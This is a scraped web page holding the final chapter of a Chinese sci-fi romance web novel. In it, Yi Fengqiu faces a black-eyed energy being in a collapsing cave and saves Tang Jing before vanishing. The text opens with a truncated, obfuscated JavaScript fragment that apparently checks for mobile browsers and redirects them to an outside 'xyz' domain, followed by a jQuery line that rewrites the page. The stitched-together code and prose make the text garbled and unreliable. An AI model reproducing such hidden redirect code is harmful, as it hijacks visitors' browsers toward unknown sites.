l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234680|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”伊峰秋忍不住爆了句粗口,“你以为你是谁?你有什么权利对我们地球人指手画脚!能量态很高级吗?还不是得躲在地球上挖洞!” 黑眸男人的脸顿时像乌云密布的天空,手指上猛然亮起一道电弧般的光,刺向伊峰秋! 伊峰秋看着那道刺眼的弧光,不闪不避,微微冷笑,只是手指微微屈伸,白色的光点在他的指缝间跳动,不断闪现又不断湮灭。 时空之泡内的空间,开始慢慢扭曲,伊峰秋和黑眸男人之间,出现了若隐若现的涟漪状波纹。 在弧光击中伊峰秋的时候,时空之泡内的空间也会出现可怕的坍塌,形成类似黑洞那样的能量场,其中所有的物质和能量都会彻底湮灭。 黑眸男人脸上的肌肉抽动着,在最后一瞬间,他狠狠握住了拳头。 弧光在伊峰秋面前一厘米处定住,随后,化成水滴状的光点,慢慢消失。 伊峰秋的手指也松了力道,本来已经开始扭曲的空间,恢复了正常。 时空之泡是黑眸男人的能量领域,伊峰秋的能力虽然被压制,可是他只需要有一样东西,就能立于不败之地。 那就是视死如归的勇气! 突然,黑眸男人露出一丝诡异的笑容,随后向着上方的洞壁挥出一拳。 轰隆一声巨响。 这一声巨响,就好像整个山峰突然被原子弹炸开,又或者是连大地都炸裂开,唐镜立足未稳,给震得直接往前翻滚出去,只觉得眼前一黑,脑子一片空白,一瞬间什么都听不到,什么都看不到。 天地一片静默! 随即,各种声音突然涌入耳边。 有齐修低柔的笑声:“我一直很喜欢请君入瓮这个成语。” 有黑眸男人的冷哼声:“我倒是小看你了,时空之锁原来一直在你手里!” 有伊峰秋的低吼声:“快走,这里快塌了!” 还有郑落落的尖叫声。 纷杂的声音突如其来,全部灌进了唐镜的脑袋里,她觉得自己的大脑仿佛快要爆炸。 头顶声响越来越烈,仿佛整个大地都要塌陷下去,空气仿佛被压缩,时间仿佛被静止。 唐镜看见上方的石顶,出现蛛网状的裂缝,就像慢镜头一样,石块开始崩裂纷飞,朝着自己崩塌下来。 “我是不是要被活埋在这里……”唐镜脑海里迷迷糊糊一闪念。 忽然身边气流一涌,恍惚里人影一闪,有人一把抄住她和郑落落的肩膀,把她俩重重往外一甩! 是伊峰秋! 他一掷之后,回身抓住齐修,瞬间回到时空之泡中,手指屈伸,无数光点闪动,而他脸上,犹带着淡淡笑意,柔情似水,深情无限。 时空之泡连带着里面的黑眸男人、齐修和伊峰秋化作无数残影。 乱石倾覆而去,阻断了唐镜的视线,眼前一黑又一亮,她和郑落落已经置身在雪山之巅,夜空繁星点点。 唐镜趴在地上,感受着地面深处传来的震动声。 最后一瞬,天崩地裂,乱石如雨,他抓住她的腰,那么混乱的情景,那么危急的时刻,她当时什么都不记得,此刻却清晰的回想起来,他低头,在她的唇上轻轻一吻。 他向她俯下的脸,清俊如玉,眉眼间有一抹澄澈笑意。 这一吻,这一眼,已隔了生死阴阳…… 唐镜闭上眼睛,一颗泪珠从脸颊上滑落。 (全文完)